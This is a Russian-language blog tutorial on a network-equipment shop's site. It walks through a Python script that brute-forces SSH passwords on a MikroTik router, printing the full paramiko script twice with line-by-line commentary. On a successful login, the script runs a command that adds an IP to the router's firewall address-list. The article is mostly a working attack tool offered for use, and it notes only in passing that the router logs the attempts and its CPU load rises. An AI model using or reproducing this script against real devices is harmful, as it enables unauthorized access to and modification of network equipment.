Меню
Контакты
109147, Москва, ул.Воронцовская, 35Б, корп.2 офис.11, 4 этаж
Пн-Пт: с 9-00 до 17-00   Сб-вс: выходной
Интернет-магазин
сетевого оборудования
Москва +7 (495) 103-41-03 +7 (915) 420-28-94
109147, Москва, ул.Воронцовская, 35Б, корп.2 офис.11, 4 этаж
Пн-Пт: с 9-00 до 17-00   Сб-вс: выходной
Заказать звонок

Напишем скрипт для перебора паролей SSH-сервера в Mikrotik Routerboard

 16 Янв 2012    MikroTik, Scripts

 

В этой статье мы рассмотрим написание скрипта для перебора паролей SSH-сервера в Mikrotik Routerboard.

Скрипт:

#!/usr/bin/env python

# -*- coding: utf_8 -*-

import time

import random

from paramiko import SSHClient

from paramiko import AutoAddPolicy

ip_device = '192.168.4.236'

login_device = 'ubnt'

def f_gen_passwd(count_char):

arr = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']

passw = []

for i in xrange(count_char):

passw.append(random.choice(arr))

return "".join(passw)

plist = []

def f_perebor_ssh(ip_device, login_device, password_device):

ip = "10.12.12.12"

ssh = SSHClient()

ssh.set_missing_host_key_policy(AutoAddPolicy())

ssh.connect(ip_device, port=22, username=login_device, password=password_device)

cmd = "/ip fi address-list add address=%s list=working" % (ip)

ssh.exec_command(cmd)

ssh.close()

i = 0

while True:

i += 1

print i

password_device = f_gen_passwd(2)

if (password_device in plist):

print "Произошло дублирование пароля"

else:

print "Добавляем новый пароль в список"

plist.append(password_device)

try:

f_perebor_ssh(ip_device, login_device, password_device)

except:

print "Пароль не подходит"

print password_device

else:

print "Пароль для доступа %s" % (password_device)

time.sleep(2)

break

 

Рассмотрим скрипт:

Подключаем модули:

#!/usr/bin/env python

# -*- coding: utf_8 -*-

import time

import random

from paramiko import SSHClient

from paramiko import AutoAddPolicy

ip_device = '192.168.4.236' – IP-адрес Mikrotik Routerboard, для которого выполняется перебор паролей.

login_device = 'ubnt' – логин администратора Mikrotik Routerboard

Функция, генерирующая пароли:

def f_gen_passwd(count_char):

arr = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']

passw = []

for i in xrange(count_char):

passw.append(random.choice(arr))

return "".join(passw)

plist = [] – создаём пустой список, в который будем помещать сгенерированные пароли.

Функция подключения к Mikrotik Routerboard:

def f_perebor_ssh(ip_device, login_device, password_device):

ip = "10.12.12.12"

ssh = SSHClient()

ssh.set_missing_host_key_policy(AutoAddPolicy())

ssh.connect(ip_device, port=22, username=login_device, password=password_device)

cmd = "/ip fi address-list add address=%s list=working" % (ip)

ssh.exec_command(cmd)

ssh.close()

i = 0 Создаём переменную i, которая равна нулю

while True: - запускаем бесконечный цикл.

i += 1 - в каждом цикле увеличиваем значение  i на единицу

print i – выводим значение переменной i на экран

password_device = f_gen_passwd(2) – генерируем пароль из двух цифр и заносим его в переменную.

Выполняем проверку, существует ли сгенерированный пароль в списке plist. Если существует, то выводим сообщение "Произошло дублирование пароля":

if (password_device in plist):

print "Произошло дублирование пароля"

Если такого пароля нет в списке plist, то добавим его туда:

else:

print "Добавляем новый пароль в список"

plist.append(password_device)

Вызываем функцию соединения с SSH-сервером Mikrotik Routerboard:

try:

f_perebor_ssh(ip_device, login_device, password_device)

Если не удалось подключится, выводим сообщение "Пароль не подходит":

except:

print "Пароль не подходит"

print password_device

Если же подключится удалось, выводим пароль, с помощью которого было выполнено подключение, и прерываем цикл.

else:

print "Пароль для доступа %s" % (password_device)

time.sleep(2)

break

 

Напишем скрипт для перебора паролей SSH-сервера в Mikrotik Routerboard

Рис.1. Mikrotik Routerboard, логи.

 

Во время перебора паролей Mikrotik Routerboard будет сигнализировать о том, что происходят попытки подключения к SSH-серверу.

 

Mikrotik Routerboard загрузка процессора

Рис.2. Mikrotik Routerboard - загрузка процессора.

 

Во время перебора паролей может возрасти нагрузка на процессор Mikrotik Routerboard.

 

Евгений Рудченко специально для ASP24.